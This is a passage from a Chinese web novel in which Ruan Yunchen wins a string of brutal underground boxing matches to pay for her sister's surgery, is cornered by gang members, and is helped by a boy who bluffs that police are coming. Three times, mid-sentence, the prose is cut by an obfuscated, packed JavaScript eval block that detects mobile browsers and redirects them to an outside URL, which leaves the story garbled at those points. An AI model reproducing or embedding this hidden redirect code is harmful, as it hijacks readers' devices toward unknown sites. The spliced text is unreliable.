阮云琛的耳朵嗡嗡作响,分不清这是来自外界的声音,还是自己脑子里绷断的那根弦。喉咙干得发烫,血腥味在口腔里弥漫开,她甚至怀疑下一秒会有一口血吐出来。 眼前一片白。 白得发晕,白得发光,白得像...... 像那个冬天的晚上。 屋子里的地板冻得像铁,淼淼蜷缩在身后,眼前是压过来的黑影。那黑影的手高高扬起,像一块遮天蔽日的巨石,盖住了所有的光。 那天晚上...... 她握住了刀。 手是热的,刀是冷得。阮云琛能感觉到自己的血液在刀刃上流动,带着一种模糊的快意和恨意。 当她挥下去的那一刻,她知道自己再也回不去了。 可现在,她的脑袋里不知怎得又响起了那种声音——像是骨头裂开的声音,清晰得令人发抖。 她撑住了地面。 手指陷进灰尘和血迹里,像是要攥住什么东西不放开。铁丝网就在她背后,那种金属的冰冷感渗透进她的肩胛骨,但她还是把膝盖撑直,硬生生站了起来。 “……站起来。”她在心里对自己说。 站起来。 快站起来。 不能放弃。 现在还不是放弃的时候。 女人走近了,胜券在握的表情挂在脸上,像是在欣赏一场即将落幕的闹剧。 脚步声在拳台的木板上砸出短促的响,像是在给她敲丧钟。 阮云琛跪在地上,血顺着肩膀滑下,滴进灰黑的地板缝隙里,她听见那些声音,仿佛有无数个小人在她耳边吵嚷,逼着她低头,逼着她认命...... 认命? 凭什么? 凭阮启明?那个把她的人生变成噩梦的男人,凭什么他可以随随便便就掌控她的生命,掌控她的母亲和妹妹?凭什么他的一声怒吼就能让她的世界天崩地裂? 还是凭那个总是说“忍一忍”“再等等”的母亲?她温柔、妥协、懦弱到几乎放弃了自己,却让她用一把刀结束了那个家。 阮云琛闭上眼,仿佛还能看到那晚满地的血腥,像浸透了她脚下的泥土一样,黏腻,冰冷,永远洗不掉。 还是凭那些警察?那些人总是姗姗来迟,问一些毫无意义的问题,然后甩下一句“我们会跟进处理”就消失得无影无踪?最后的结果呢?没人关心她的死活,没人问过她和淼淼该怎么办。凭什么那些拿着工资的人,保护的从来不是她这样的人? 还是凭这个社会?一个吃人的、冰冷的、连呼吸都是错的社会。 她看过太多跟她一样的人——住在桥下,睡在废铁堆里,眼睛里没有一点光。连活着都要小心翼翼,像偷来的一样。 “凭什么?”她低声嘶哑地说,声音小到连她自己都几乎听不见。 23. 疯子 女人的脚步越来越近,带着一种随时准备宣判死刑的从容。可阮云琛没有抬头。她的手指抓住地板,指甲用力扣进那层黏腻的污垢里,像是要攥住什么不会放开。 凭什么她要认命? 阮云琛撑着膝盖,猛地站了起来。动作一瞬间激得肩膀上的伤像被撕开了一样,疼痛从骨头里钻出来,带着热辣辣的温度烧得她发慌。可她的动作没有停。 没有任何计划,也没有任何策略,她的身体在此刻完全脱离了大脑的控制。她冲向那个女人,像是一根拉满的弓弦,几乎要断掉。 肩膀狠狠撞上对方的小腹,那瞬间,她听到女人喉咙里发出一声短促的闷哼,像是打翻了一杯水。对方的身体向后踉跄了一步,脚步的响动在她耳边被无限放大,像是倒塌的木头。 可她没有停。 不是不想停,而是停不下来。 阮云琛的脑海里控制不住地一次又一次闪过那道影子——多年以前的冬天,寒冷的空气夹杂着酒精的味道,还有母亲的哭声。 她想起最后那日,阮启明的手扬起时,她握住了刀。 那种尖锐的痛苦、愤怒、不甘和......和说不出的快意,在此刻重新涌了回来,迅速占据了她的全身。 拳头落下去的第一瞬间,阮云琛的脑袋里一片空白。 她不知道自己为什么要出拳,也不知道对方是否还有反抗的余地,她只是打——一拳又一拳,每一拳都用尽全力,像是要把对方的身体砸碎,也像是要把自己胸口憋着的那口气彻底砸出去。 围栏外的嘈杂声渐渐淡了下去,尖叫、嘘声、喝彩声,统统像水一样倒灌进了她的脑袋,混成了一种沉闷的嗡鸣。 有人喊了一声“疯了”,但阮云琛听不见。 她的拳头一次次落下,血的温度渐渐从手指渗入到手腕,再往上蔓延,那种触感让她有一种莫名的快感。 她的脑袋越来越热,像是被蒸汽充满,视线也逐渐模糊,只能看见女人脸上那僵硬的表情,以及从嘴角流下的一丝血迹。 她甚至看不到台下的裁判,也听不到裁判跑上台的脚步声。 直到她的手腕被人猛地攥住,身体被强行拉了起来,她才恍惚了一下,像是一只猛兽被人拽回了笼子。 “够了!”裁判的声音很大,透着一种不加掩饰的惊怒。 阮云琛愣了一下,动作停住,垂在身侧的手微微颤抖着,像是还在适应那突如其来的静止。她低头看了看自己的手——手背已经肿胀,皮肤上满是血污和擦伤。指关节红肿得像是被人用锤子砸过,连弯一下都疼得钻心。 台下安静了两秒,随即是一阵刺耳的骚动。有人大喊,有人吹口哨,还有人嘲讽似的笑。 阮云琛抬头看了一眼裁判,想要说点什么,但喉咙像是被什么堵住了一样,只发出了一点沙哑的喘息声。 裁判冷冷地看着她,松开了手。 “疯子。”台下又有人喊了一声,这次的声音带着一点恐惧,压在狂热的嘈杂声下面,显得格外清晰。 阮云琛没有回应。 她不想回应。 她没有回头看,只是一步步地走下台,肩膀的伤口彻底撕裂,血顺着手臂流下来,每一步都像踩在钉子上,可她的步伐却出奇的稳。 后台的灯光昏黄得像是被污水泡过的玻璃,暗淡中透着一种无法驱散的沉闷。空气里混杂着铁锈味、汗味,还有血迹的腥气,每一口呼吸都像是在舔刀刃。 阮云琛扶着墙,脚步略微停顿了一下,忍不住笑了一声。 那笑声干哑得可怕,没有温度,藏在嘴角的弧度里,像是被尘土蒙住的一把旧刀,钝了,却依然带着危险的影子。 疯子? 阮云琛想,她确实疯了。 从什么时候开始的呢? 她已经记不清了。 也许是她拿起那把刀,冲着阮启明砍下去的时候;也许是更早的时候,从那个家开始瓦解,从母亲躺在地上抱着淼淼哭泣,她站在一边看着时就已经疯了。 疯子是什么? 疯子是没有选择的人。疯子是被命运逼到死角,连喘息都变成罪过的人。她知道,正常人应该是没有她这样的眼神的。正常人会在疼痛里喊停,会在危险来临时躲闪,而她不会——她不能。 阮云琛抬起手,轻轻抚过自己的肩膀,那里已经分不清是麻木还是疼痛了,血透过纱布慢慢渗出来,濡湿了护具的边缘。 她知道,应该有人会停下包扎,试图止血,试图保存一点体力。 但她不想。 血的温度正在一点点变凉,像是失控的生命正从她体内缓缓流走。但她不怕。失控对她来说再熟悉不过了,这些年她一直在失控的边缘跳舞。 疯了?是的,她疯了。但...... 这很有用。 疯让她不怕痛,疯让她可以站在拳台上,不去听那些人的嘲笑。疯让她可以咬着牙,一次又一次地往前冲。疯是她的武器,是她唯一的依仗。 如果不疯,她还能怎么活?像母亲那样忍气吞声吗?像那些小心翼翼的人一样,捧着一颗心,最后被踩碎? 她笑了一声,声音很轻,轻得转瞬间就被淹没在了空气之中。 疯一点就疯一点吧。疯一点,总比死了强。 阮云琛的手从肩膀滑下来,垂在身侧。她知道自己像一把破旧的刀,沾满了血迹,浑浊不堪,但刀......依旧是刀不是吗? 能伤人,亦能杀人,哪怕是折了,也依旧能——起码足够她杀出去。 杀出去,拿到钱,去救淼淼。 救她在这世上唯一的亲人。 阮云琛没有看地上的血迹,也没有回头看拳台的方向,只是抬脚,朝走廊更深的地方走去。 脚下是污水和泥,灯光把她的影子拖得很长,脚步声在潮湿的地板上砸出沉闷的回响。每一步都很稳,但每一步都带着疲惫,像是踩在什么无法挣脱的泥沼里。 她低头看了一眼地板,那里有她的脚印,混着血和灰尘,一路延伸到昏黄的灯光消失的地方。她忽然觉得有些好笑,连带着那一瞬间的苦涩,像是一口血被硬生生咽了下去。 阮云琛不知道自己是怎么撑过第二天的。 拳头、血、呛人的汗味,还有脚下湿滑的地板,仿佛已经成了她的全部。 她的体力一点点被榨干,肩膀的血已经浸透了纱布,整个人像一具被支撑起来的空壳。 第八场的对手是个中年男人,身材普通,但拳头很硬。开场时,他的眼神落在她的肩膀上,皱了一下眉。 “你不如先包扎一下?”他语气不重,甚至带着一点不安,“伤成这样还打,不值当的。” 阮云琛没有回答,只是抬起头,淡淡地看了他一眼。那一眼没有愤怒,也没有拒绝,只是冷冷的,像一面镜子,把所有情绪都弹了回去。 她知道他不会真心希望她休息,也不会因此而让着她——站在这里的人,都是死士。 对手的担忧,或许只是本能的错觉,像某种可笑的多余情绪,一秒钟后就会被抛在脑后。 没有人会有多余的善意,也没有人会因为那不必要的善意让自己输掉。 男人是,她也是。 第九场是个跟她一般大——或许更大一些的男孩子,十四五岁,干瘦,怯懦,肩膀往下垮着,像是提不起力气。 他的脸上挂着一块新鲜的淤青,嘴角的裂口还在往外渗着血,看起来像是刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她的视线从他的脸上移开,落在他的拳套上,那拳套的边缘磨损得厉害,明显已经用了不止两场。 台下的喧嚣声一阵高过一阵,裁判吹响了哨声。 阮云琛的身体向前倾了一下,眼神依旧冷得没有半点波动。她知道自己该说点什么,或许是安慰,或许是开场前例行的几句打气。 可她什么都没说。 她抬起拳头,直接砸了过去。 对手没有防备,被她的拳头正面击中胸口,脚步后退了好几步。他的眼神里闪过一丝愕然,像是不明白为什么她会下得这么狠。 阮云琛没有给他喘息的机会,第二拳接踵而至。她的动作没有章法,也没有多余的技巧,但力道狠得像是要把所有的情绪都砸进他的骨头里。男孩的身体向后倾倒,最后重重地摔在了台面上,半晌没有动静。 台下爆发出一阵欢呼和嘘声,观众们显然对此结果毫不意外。 裁判宣布胜利。 阮云琛站在那里,听着那些叫喊声从耳边滑过去,像是一阵虚无的风。她没有看倒在地上的男孩,也没有看台下那些挥舞赌单的人,她只是转过身,朝后台走去。 ——谁不需要手术费呢? 她攥紧了拳头,掌心的汗混着血黏在拳套里,隐隐泛着一股铁锈味。谁都需要,可她没有多余的善心,没有任何一丝多余的力气,去照顾淼淼以外的任何人了。 她的脚步慢慢停下了一瞬,转头看了一眼拳台上那个瘦弱的身影。男孩的眼睛睁开了,空洞地盯着台顶的灯光。他似乎想动,却没有力气。 阮云琛没有说话,脚步继续往前迈去。 第十场...... 还差最后一场。 还差最后一场,她就能去诊所办理转院手续了。 24. 最后一场 铁门被推开的时候,阮云琛觉得自己的双腿几乎无法动弹了。 护具贴在肩膀上,血和汗把皮肤黏得生疼,每走一步,疼痛都像是被锋利的刀尖一点点划开。 她低头看了一眼手上的拳套,边缘已经开裂,染上的血迹结了痂,跟她的右臂——跟她整个人一样,再一下......可能再一下,就会全盘坍塌。 对,再一下。 再一场。 再坚持一场,就能走了。 拳台上的空气像是凝固了一样,灯光亮得刺眼,直直刺进阮云琛的眼睛,让她的视线一阵发白。 她站在拳台一侧,脚底下的地板湿滑而冰冷。 对面的男人缓缓地动了动脖子,骨骼发出一阵沉闷的响声。他的体型远比阮云琛大,肩宽得像是一堵移动的墙。 他并没有急着出手,而是站在那里,用一种轻描淡写的目光打量着她,像是在审视一件已经破损的物品。 “听说宋祈派你来的?”他的声音低沉冷漠,却夹杂着一丝玩味,像是在说一件无关紧要的小事。 阮云琛没有说话。 她低着头调整呼吸,试图让自己的心跳慢下来,可是血液的流失让她的耳朵里嗡嗡作响,胸口像是压了一块巨石,连吸气都变得费力。 男人似乎没有得到想要的回应,冷笑了一声,脚步向前踏了一下。那声音落在拳台上,像是一记重锤,敲在人心上。 台下的人群爆发出一阵低低的哄笑和窃窃私语。他们看惯了拳场上的血腥与残酷,但这样的对局显然是他们最期待的——一个随时可能倒下的女孩,对上一个毫无弱点的压制者。 阮云琛抬起头,目光扫过对方的肩膀,试图找到一点破绽。但他站得太稳了,脚步如同生了根。他没有任何急躁或多余的动作,甚至连摆拳的姿态都显得漫不经心。 “开始吧。”男人说。 哨声响起的瞬间,他动了。 男人的拳头裹挟着巨大的力量砸向阮云琛,直奔阮云琛的面门。 她几乎是下意识地后退,脚下用力一蹬,身体弯下,勉强躲开了这一击。但他的攻势没有停,紧接着又是一记勾拳逼了过来。 阮云琛低头闪过,肩膀却因为动作幅度过大而传来一阵剧烈的撕裂感。血再一次涌出来,湿热的液体顺着她的手臂流下,滴在拳台的地板上。 她咬紧牙关,强迫自己冷静下来。男人的每一次出拳都带着沉重的力量,她无法与他硬碰硬,只能不断闪避,寻找机会。 然而,每一次后退,她的体力都会被进一步消耗,双腿的肌肉开始变得迟缓,意识也渐渐变得模糊。 台下的喧嚣声越来越大,观众们在尖叫、嘲笑、叫嚷,每一声都像是在催促着她倒下。 阮云琛的目光扫向台下,只是一瞬的失神,就像脚下不小心踩进了一个冰冷的水洼。 她并没有在找什么人,也没想过能看到什么,就只是单纯地有些控制不住大脑,也控制不住自己身体的动作。 或许是累了,或许是痛让她的意识有一瞬间的脱节,台下的那些喧嚣和模糊的面孔交织在一起,让她短暂地感到一种荒谬的眩晕。 人群涌动着,手臂挥舞,脸上是兴奋的狂热,阮云琛看不清他们的表情,也不想去看。可突然,她愣住了。 有个......熟悉的身影站在人群的角落里。 男孩缩着肩膀,像是生怕被挤得更远。他的手指死死攥着栏杆,骨节微微泛白,目光却穿过人群直直落在拳台上。 他是......谁来着? 那个总在桥下的、敲打废铁的......他叫什么来着? 她问过吗? 好像没问过吧? 他在这里......他为什么会在这里? 阮云琛觉得自己的脑子像是被人用力搅了一下,思绪乱成了一团。 男孩的衣服还是之前那套洗得发白的,裤腿上沾着灰,脚上的鞋已经破了,脚趾头隐隐从开裂的布面里露出来。 他的脸有点脏,神情却专注得不像个小孩。 他怎么会来?经常来看?还是...... 还是跟来的? 跟着她来的?不至于吧。可是他为什么会在这里?他知道这里是什么地方吗? 阮云琛闭了闭眼,心底泛起一股烦躁——不该是这样的。 他不该出现在这里。 不......不对、 快回神。 快回过神来、快......第十场,第十场拳,打完了就能离开。 就在那一瞬间,男孩忽然动了动嘴唇,像是要说什么。只是声音被周围的喧嚣吞没,眼神却没有半分移开,直勾勾地盯着拳台上的她。阮云琛甚至看不出他是想叫住她,还是想对她说点别的。 阮云琛觉得自己可能疯了,居然站在这满是血腥味的地方,试图猜测一个孩子的念头。 “砰——” 拳头猛地砸在她的胸口,带着沉重的钝痛,把她硬生生地从混乱的思绪中拽了回来。 她的身体被直接撞得后退两步,撞在围栏上,铁丝网勒进她的背,疼得像是要把骨头掰断。 男人的声音在她耳边响起,冷淡而嘲讽:“还能再撑几拳?” 阮云琛的视线模糊了一瞬,喉咙发出一声闷哼,肩膀上的血像被拧开的水龙头一样往下淌,滴滴答答地砸在拳台上。 她的呼吸变得急促,手指撑住身后的铁丝网,努力让自己站直。 台下又是一片哄笑,带着嘲弄和恶意,像是嘲笑一场注定的失败。 但她没有回头看,只是再次瞥向那个角落——那个男孩依然站在那里。他的嘴唇又动了动,似乎是在重复着什么。阮云琛听不到,但那目光却像是一根针,刺进了她的胸口。 凭什么?她心里冷笑了一声。 凭什么这些人可以这么肆无忌惮地嘲笑她?凭什么这个男孩要站在那里,用那种目光看着她?凭什么她要为了那些毫无意义的胜利,把自己拼得体无完肤? “够了没?”男人的声音再次响起,带着浓浓的不屑,“你还站得住吗?” 阮云琛没有回答,她的目光终于从男孩的脸上移开,重新回到男人身上。 她的腿在发软,肩膀的疼痛像是一把烧红的铁钳,把她的整个身体牢牢钳住。可她的目光依然冷得可怕,像是一潭深不见底的死水。 她深吸了一口气,猛地推开身后的围栏,身体朝前冲去。 她的动作很慢,但又很突然,像是燃烧殆尽的灯芯最后的挣扎。男人显然没有料到她会进攻,愣了一下,但很快挥起拳头,直奔她的头部。 阮云琛低头,肩膀用力往下一沉,险险避开了男人的一拳。 那拳头带着足以砸断骨头的风压从她耳边擦过,直直砸在围栏上,发出一声震耳欲聋的金属响。她没有后退,反而借着惯性,膝盖狠狠撞向对方的腹部。 男人的身体向后仰了一下,像是一座摇摇欲坠的塔,脸上终于闪过一丝惊讶。他退了两步,抬手抹了一下嘴角,那里已经渗出了一点血。 他的目光重新落在阮云琛身上,这一次,那目光不再是最初的漫不经心,而多了几分迟疑,甚至是恼怒。 阮云琛站在原地,胸口剧烈起伏,脚步却没有挪动半分。她的双眼死死盯着男人的脚下,像是在等待,又像是在计算。 护具内的肩膀伤口已经完全裂开,血顺着手臂滴滴答答落在拳台上,地板上的污渍被鲜红的液体侵染,模糊成大片的暗色。 灯光刺得她的眼睛发疼,但阮云琛没有闭眼。她知道,稍有分神,就再也没有机会。 男人没有动,他的身形沉稳,像是一头静待猎物失误的猛兽。 可在那强悍的外壳下,阮云琛看到了一个细微的动作——他的左脚轻轻往后挪了一下,似乎是为了调整重心。 那动作非常轻,普通人几乎无法察觉,可阮云琛看得很清楚。 左侧的防守,松了。 阮云琛没有时间去思考,只是依靠身体的本能和那一丝微妙的直觉发动了攻击。 她猛地向前冲,抬起右腿,用尽全力踢向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841878|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人左膝的内侧。她的动作干脆利落,带着一种拼命的狠劲,完全不考虑自己的后果。 脚尖撞上膝关节的瞬间,她甚至听到了一声细微的关节摩擦声。 男人的膝盖猛地一弯,失去了支撑,整个身体随之倾倒。他的脸上浮现出一抹短暂的震惊,但这抹表情很快被痛苦取代。他伸手想要稳住身体,却没来得及。 阮云琛没有停下。 她的肩膀用力往上一顶,重重撞上男人的下巴。剧烈的疼痛像是一把烙铁,从她的肩膀烧进骨髓,瞬间蔓延到整个后背。 她咬着牙,硬生生把那种痛压在身体最深处。男人的头猛地向后仰,脚步踉跄着往后退,最终重重摔倒在地。 嘈杂的拳场刹时安静了下来,只有男人倒地的闷响还在空气中回荡。 空气似乎都静止了。 阮云琛站在原地,胸口急促地起伏,双拳攥得死紧,骨节因为用力而发白。她的腿在发抖,手臂也在发抖,但她没有后退一步。 目光死死盯着倒在地上的男人,直到确定他彻底失去反击能力,才缓缓松开了一点肩膀的弧度。 一股粘稠的液体顺着手臂滑下,滴落在拳台上。阮云琛垂下眼,看着那片触目惊心的血色,像是终于记起了自己的伤。 疼痛此刻疯狂涌上来,像是每一根神经都被撕开了一样。阮云琛觉得自己的脑袋里嗡嗡作响,眼前的灯光越发刺眼,她甚至无法看清台下观众的脸。 忽地,有人开始尖叫,有人狂笑,还有人高喊着她的名字,像是在庆祝一场不可思议的胜利。那些尖叫声刺得阮云琛的耳膜隐隐作痛,但她已经听不见了。 阮云琛站在原地,腿几乎发软到无法支撑,但她的目光依然紧紧盯着倒在地上的男人。她的拳头松了又攥,攥了又松,直到裁判的声音响起,她才缓缓转过头。 ……快走。 去拿钱,然后快走。 去诊所。 得去诊所,去立刻办转院手续。 脑子里这些念头来回翻涌,像是某种强迫症状,让阮云琛连站直的力气都显得机械而僵硬。 拳场的空气依然闷热,灯光刺眼,落在皮肤上带着黏腻的灼烧感。阮云琛不知道自己是怎么下的台,只记得台下的混乱像一张张扭曲的嘴,喷涌着热气和恶意。 后台的走廊里安静得出奇,昏暗的灯泡一闪一闪,像是下一秒就要熄灭。空气里弥漫着潮湿的铁锈味,她的脚步声踩在地板上,带着难以掩盖的疲倦。 拳场的管理员把一沓皱巴巴的钱拍在她面前,语气冷淡:“拿着。” 阮云琛伸手去接,却发现手抖得厉害,指尖险些没抓住那一团纸币。她咬了咬牙,用力把手指攥紧,把钱塞进衣兜里。 “今天结束了。”管理员不耐烦地摆了摆手,“快滚吧。” 阮云琛没有说话,低着头往外走。她不想停下来,不想抬头,更不想去看那堆昏黄的灯光和积满污水的地板。 脚步声在空旷的走廊里回荡,越走越远,直到她推开拳场的侧门。 外面的空气凉了不少,带着湿润的晨雾扑面而来。天微微亮,工厂区沉默得像是还没从夜晚的阴影中苏醒。 远处偶尔传来一两声鸟鸣,仿佛整个世界都在等待天光彻底翻过来的一刻。 阮云琛抬起头,闭了闭眼,长长地吐出一口气。 疼痛随着呼吸的放缓一点点涌上来,肩膀像是被一块滚烫的石头压着,血早已渗透了衣服,沿着手臂滴下来。她知道自己没时间耽搁——每走一步,她都能感受到身体一点点接近极限。 脚下的路变得愈发狭窄,工厂区的围墙高高矗立,两旁是堆积如山的废料,散发出潮湿的霉味。她没有回头,步子迈得很慢,但脚步声却在静谧的空气里异常清晰。 ……太清晰了。 清晰到有点不对劲。 阮云琛的神经瞬间绷紧,她微微侧了侧头,余光掠过身后的一片阴影。那声音并没有停,而是以一种小心翼翼的频率跟着她的脚步,像是一个藏在暗处的幽灵。 ——有人。 25. 跟梢 阮云琛的心跳瞬间快了一拍。 她故意将步速放慢了一些——果然,那声音也随之慢了半拍,像是在试图掩饰,却更暴露了意图。 阮云琛没有停下,也没有回头,只是微微垂下了眼帘,掩住眼底的警惕。 她低头看了一眼路边散落的金属废料,心里飞快地盘算着可能的出口——这片工厂区的废料堆几乎是天然的屏障,可一旦被堵住,就连反击的余地都没有。 阮云琛握紧了拳头,掌心传来的潮湿触感提醒她手里的纱布早已被血浸透。 她大概猜得到这些人是什么来路。 拳场上得罪的人不计其数,但她有一种直觉——这一次,可能不仅仅是报复那么简单。 她隐约记得第十场对手的模样,那人倒下前的一瞥,那眼神里不是恨,而是某种深沉的耐心,仿佛他一直在等待一个更大的机会。 宋祈之前就提到过所谓“砸场子的人”,阮云琛的心里忽地生出了一股莫名的不安。 脚步声越来越近,伴随着金属摩擦地面的声音。她的目光掠过身旁的巷子,那条小巷狭窄幽深,两侧堆满了废弃的轮胎和旧机械零件。 阮云琛停下了脚步,装出一副犹豫不决的模样,刻意让自己的动作显得不经意,脚尖微微偏向小巷的方向,像是无意间选错了路。 她没有回头,但耳朵敏锐地捕捉着身后那些脚步声的节奏——稍有停顿,又重新跟上来,间距恰到好处,显然是经过细心计算的。 冷风从巷口卷过,将铁皮房顶的敲击声送到耳边,像是在提醒她这里的每一处角落有多偏僻、多危险。 阮云琛握紧拳头,指尖压进掌心带着干涸血迹的纱布,掌心传来的刺痛让她的头脑保持清醒。 这些人是冲着她来的——她能感受到那股刻意压低的敌意,像是一条蛇,静静缠绕在空气中。 她轻轻侧过头,用余光扫了一眼废料堆的方向,目光在乱七八糟的金属和废弃轮胎间停留了几秒。 废料堆的阴影深得看不见底,像是一张等待猎物的嘴,而此刻她就是那个落入陷阱的小兽。 身后的脚步声忽然快了一拍,阮云琛在心里暗骂了一句,迅速迈进巷子。 她故意放轻脚步,假装自己试图从另一个出口离开,却在心底盘算着对方的站位和可能的攻击方向。 “哟,跑什么?”一声带着笑意的招呼从她背后响起,声音懒散中带着一丝刻意的挑衅。 阮云琛停下脚步,目光落在对面几个挡住巷口的人身上。 领头的男人身材高瘦,穿着一件略显廉价的夹克,袖口磨得发白。他没有叼烟,没有用铁棍敲地,甚至连笑容也显得克制。 他只是把手插在口袋里,懒散地靠在墙上,仿佛所有的危险都藏在他那双打量她的眼睛里。 “你就是那小丫头?”他开口了,声音不大,却透着一种含蓄的侵略,像是对猎物失去兴趣之前的最后确认,“连赢几场,看着还挺能打?” 阮云琛没有接话。她的肩膀疼得发麻,但她知道,自己无论如何都不能露怯。 男人等了一秒,嘴角挑起一丝微不可察的笑:“怎么,不认识我?‘东街的人’没听过?” “东街?”他旁边的一个手下嘿了一声,声音尖细,像是用锉刀刮过,“说得这么含蓄干嘛?我们是替‘东街龙哥’来给你送句话的。” “龙哥?”阮云琛冷笑了一下,声音低得像是掩在砂砾里的火花,“龙哥的名字能随便拿来吓人?” 领头人目光停在她脸上,神情依旧冷静,但语气里多了几分锋利:“你这么说,是觉得宋祈能护着你?小丫头,听着——你打的每一场拳,赌注上分出去的那三成,都他妈是给谁的面子?” 他慢慢站直身体,把手从口袋里抽出来,似乎终于不打算掩饰了:“现在你赚了这么多,就当是替你宋祈哥交点‘利息’吧。” “利息?”旁边的手下附和了一句,声音故意拔高,拿着手里的铁棍敲了几下地,发出了刺耳的哐哐声,“钱和命你挑一个,自己说!” 阮云琛的目光扫了一眼那根铁棍,又迅速掠过每个人的脸,最终落在领头男人的手上。她没有回答,只是缓缓将布袋塞进怀里。 “哟,还挺硬气。”另一个人笑了一声,语气中多了一点狰狞,“信不信我们今天就教教你什么叫规矩?” 阮云琛的后背贴上了巷子的墙,她缓缓调整了一下呼吸,强迫自己冷静下来。 她的体力已经消耗殆尽,肩膀上的伤口在冷风的刺激下几乎麻木,但她知道,哪怕只有一成的力气,她也不能在这些人面前露出一丝慌乱。 “怎么?不说话?”男人一步步逼近,铁棍在地面上划出刺耳的声响,“难不成,真打算和我们玩命?” 阮云琛抬起眼,冷冷地看了他一眼:“你想试试?” 话音未落,那男人的铁棍已经抡了过来,带着凛冽的风声。 阮云琛侧身避开,但因为动作太快,牵动了伤口,冷汗瞬间从额头滑落。她咬着牙,反手一拳朝男人的腹部打过去,却被对方用肘部挡开,力量震得她手臂发麻。 “还挺有劲儿。”男人咧嘴笑了笑,眼中却多了一丝狠意。 他抬起铁棍,再次朝她砸了过去。 突然,一声尖锐的喊叫从巷口传来:“警察来了!” 这一声像是惊雷劈在空荡的巷子里,回声撞击着生锈的铁墙,一道道扩散出去。那几个人的动作停了下来,瞬间的愣神之后,目光齐齐朝巷口看去。 一个小小的身影突然从巷口冲了出来,脚步急促,动作凌乱。他几乎是扑着跑过来的,脚一滑,狠狠摔在了地上。 膝盖和地面撞出的闷响在死寂的空气里格外刺耳。那个男孩手忙脚乱地爬起来,回头朝身后大喊:“快跑!快跑!他们追过来了!” 说着,他慌张地爬起了身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可阮云琛知道,光不会带来什么救赎。 天光只会让阴影藏得更深,藏得更好,藏到......没有人能够发现的地方。 阮云琛咬了咬牙,稍微试图动了动肩膀,疼痛却像是攀上了喉咙,堵住了呼吸。 她不知道自己的血到底流了多少,也不知道身上还有没有力气能继续撑下去。但她没有时间停下——不能停,绝对不能。 巷子安静得过分,刚才那些人离开的脚步声已经彻底消失,只剩下风从废铁堆中穿过的低鸣,像隐约的叹息,轻轻的,听不清楚。 阮云琛的目光终于从巷口移开,稍稍垂落,像是放下了什么,又像是藏起了什么。手中的布袋被血浸得黏在了一起,她却没有松开,甚至没让布袋挪动一分。 刚才跑走的那个男孩从墙角的阴影里缓缓探出了头。 26. 湿纸巾 他的动作很轻,却被这片死寂放大得刺耳。脸上的灰尘和额角的细汗混在一起,勾勒出一道狼狈的轮廓。 他靠着墙站直了,抬起头,目光撞上了阮云琛的。 仅仅是一秒,他就移开了视线,好像他不敢,也不愿在她的眼神里多停留一秒钟。 他的手里拎着一截断了的铁棍,指节蜷得紧,像是握着某种保命的符咒。 阮云琛垂下眼,鼻尖呼出的气在冷空气里化成一道白雾。 她知道这个男孩是谁。 桥下的那个孩子,在她去地下拳场时在工厂区看到的卖废铁的那个孩子,在最后一场拳时在台下看到的那个孩子—— 他在帮她。 那个男孩刚才根本没有在跟任何人对话,这儿更不可能有什么警察——这儿太乱了,乱到连警察都对这里避而远之,又怎么可能来人到这种地方巡逻? 男孩只是在虚张声势,帮她吓走那些过来挑事的人。 可为什么? 他为什么要帮忙? 他为什么会出现在这里? 脚边的血滴落下来,溅在地上,安安静静地提醒着,告诉她,她已经快撑不住了。 阮云琛下意识地抬手按住肩膀,手指贴上去时触到的温热让她一瞬间有些恍惚。 “你……”阮云琛刚张了张嘴,就觉得喉咙干得发紧。话到嘴边,却怎么也没能完整说出来。 “没事吧?”男孩的声音低低的,像是怕惊动什么似的。他站在离她一步远的地方,不近,也不远。 那距离刚好让人感觉到他的存在,但又不会显得冒犯。 阮云琛没回答。 男孩的目光停在阮云琛的肩膀上。那块布料早已被血浸透,深红色的痕迹晕开成一个刺眼的花。 “你伤得很重。”他说,声音轻得像是自言自语。 她垂着头,手指却无意识地蜷了紧,指甲掐进掌心,一种钝钝的刺痛让她稍微清醒了一点。 “我知道。”阮云琛说。 她当然知道她伤得重。 不止是肩膀上始终愈合不了的伤口,还有那十场拳下来后,身上无处不在的淤青。 嘴角开裂,眼角淤血,脑门顶还有撞到铁丝网时割出的细小伤口。肋骨那儿连呼吸时都能感到一股又一股无法忽略的疼痛,手上膝盖上脚上每一个用来击打对手的关节都肿了——或是已经破了。 阮云琛知道,只要现在她闭上眼,她随时都可以昏死过去。 醒得来醒不来全听天由命,但她......已经快要撑不住了。 可她知道自己不能倒下。 起码...... 起码现在不能。 转院费、手术费、淼淼的命——这些东西像一根根绳子绑在她身上,把她拉得死死的,吊着她最后的一口气,让她硬着头皮往前走。 起码要撑到办完转院手续。 “......我知道。”阮云琛又重复了一遍。 她是在对自己说。 那三个字被卡在喉咙里,像是割裂了什么东西,残留的疼痛让她没能继续说下去。 男孩没有接话。 他垂下眼,目光扫了一眼地面,脚尖轻轻碾过地上的石子。 巷子里的风吹得他额前的头发有些凌乱,他伸手把藏在衣兜里的纱布和酒精拿了出来,手指动作有些迟疑。他抬眼看向阮云琛,眼神不深不浅,却清澈得让人无法忽略。 “你需要包扎。”他忽然开了口。 阮云琛的肩膀僵了一下,几乎是条件反射地就拒绝了:“不用。” 男孩没有动。 